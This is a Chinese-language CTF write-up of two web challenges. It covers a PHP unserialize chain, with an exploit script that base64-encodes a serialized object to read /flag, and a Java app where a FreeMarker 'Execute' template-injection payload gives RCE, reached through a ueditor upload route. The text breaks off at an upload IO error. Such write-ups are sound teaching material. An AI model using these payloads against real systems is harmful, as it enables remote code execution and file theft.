# 1.Web PHP serialize
反序列化考点;题意:
定义了两个class,class A是去找传入进来的文件位置并做if存在判断,过程中对$filepath
做base64解码;
class A{
public $files;
public function findFile()
{
echo $this->files;
if (file_exists(base64_decode($this->files->filepath)))
{
echo "This is a file";
}else{
echo "File not found";
}
}
public function __destruct()
{
$this->findFile();
}
}
第二个class B是对传入的$filepath
做了一个简单的过滤判断,如果传入的字符符合/flag
,那么就直接退出报die("no")
;
class B{
public $filepath;
public function shutdown()
{
die("no");
}
public function __toString()
{
$result = $this->filepath;
if (strstr($result,"L2ZsYWc") || strlen($result)>8){
$this->shutdown();
}
$result = base64_decode($result);
$content = file_get_contents($result);
echo $content;
return "";
}
}
最后就针对传入的参数做反序列化:
@$a = $_GET['a'];
@unserialize(base64_decode($a));
所以定义两个函数传入$filepath
,序列化后对字符串进行base64编码即可:
exp
<?php
class A{
public $files;
}
class B{
public $filepath;
}
$a = new A();
$b = new B();
$a->files = $b;
$b->filepath = "Ly9mbGFn";
echo base64_encode(serialize($a));
?>
php7 exp.php
# 2.Web FunnyJava
题目给出了一个Jar包; IDEA引用lib直接反编译
直接定位Controller
:
Search Controller
FunnyJava.jar!/BOOT-INF/classes/com/funnnyjava/Controller/Search.class
@RequestMapping(
value = {"/search"},
method = {RequestMethod.GET, RequestMethod.POST}
)
@ResponseBody
public String search(HttpServletRequest request, HttpServletResponse response) {
String search = request.getParameter("search");
if (search == null) {
search = "search.html";
}
···
return content;
}
一个/Search
功能,提供search
参数返回相关内容;解析模版可以通过以下类中看到1:
FunnyJava.jar!/BOOT-INF/classes/com/funnnyjava/util/ParserUtil.class
String buildTempletPath = BasicUtil.getRealPath(context, "") + "templates" + File.separator;
Editor Controller
第二个是一个ueditor的路由定义:
@RequestMapping({"/static/plugins/ueditor/{version}/jsp"})
··· {
···
@RequestMapping({"editor"})
public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig){
···
}
}
应该是一个上传功能的路由定义,但是我们看完两个Controller还暂时没有思路,上传点这里我们暂时放下不表;
解题思路
Search功能我们可以看到默认解析的是webapp中的search.html
并返回;
Editor上传功能也有可能我们找到上传点,可以直接getshell;
所以目前有两个思路:
- 思路一:
Search
直接模版解析RCE; - 思路二:
Editor
上传getShell;
本地调试
思路一:
import freemarker.core.ParseException;
import freemarker.template.MalformedTemplateNameException;
import freemarker.template.TemplateNotFoundException;
我们可以看到搜索功能下导入的模版解析库;我们搜索关键词Freemarker模板注入
,可以看到网上很多相关文章,而且在Jar包中其实也给了我们提示:
FunnyJava.jar!/BOOT-INF/classes/templates/1647232439869.htm
我们直接本地起环境,把代码放到模版位置,查看运行情况:
<#assign exec="freemarker.template.utility.Execute"?new()> ${ exec("id") }
我们可以看到,模版解析RCE。所以思路一没问题,那么我们应该怎么把我们生成的模版让服务器去执行呢?
思路二:
显然,需要通过ueditor
的上传功能上传到webapp/templates
目录下(前面已经解释目录来源),然后通过search
功能来解析我们的恶意模版来达到RCE的目的;
上传点突破
我们通过前面Editor的路由定义来找到路由如何访问,并定义相关参数上传我们的模版:
根据@RequestMapping
的定义和ueditor
的相关用法,找到上传的路由为:
http://localhost:8080/static/plugins/ueditor/1.4.3.3/jsp/editor?action=uploadimage
payload:
<form action="http://localhost:8080/static/plugins/ueditor/1.4.3.3/jsp/editor?action=uploadimage" method="post" enctype="multipart/form-data">
<div><input type="file" multiple="multiple" accept="image/*" name="image"></div>
<div><input type="submit" value="上传"></div>
</form>
不过构造完payload上传后会一直提示IO错误
;考虑有可能是写入文件格式不正确;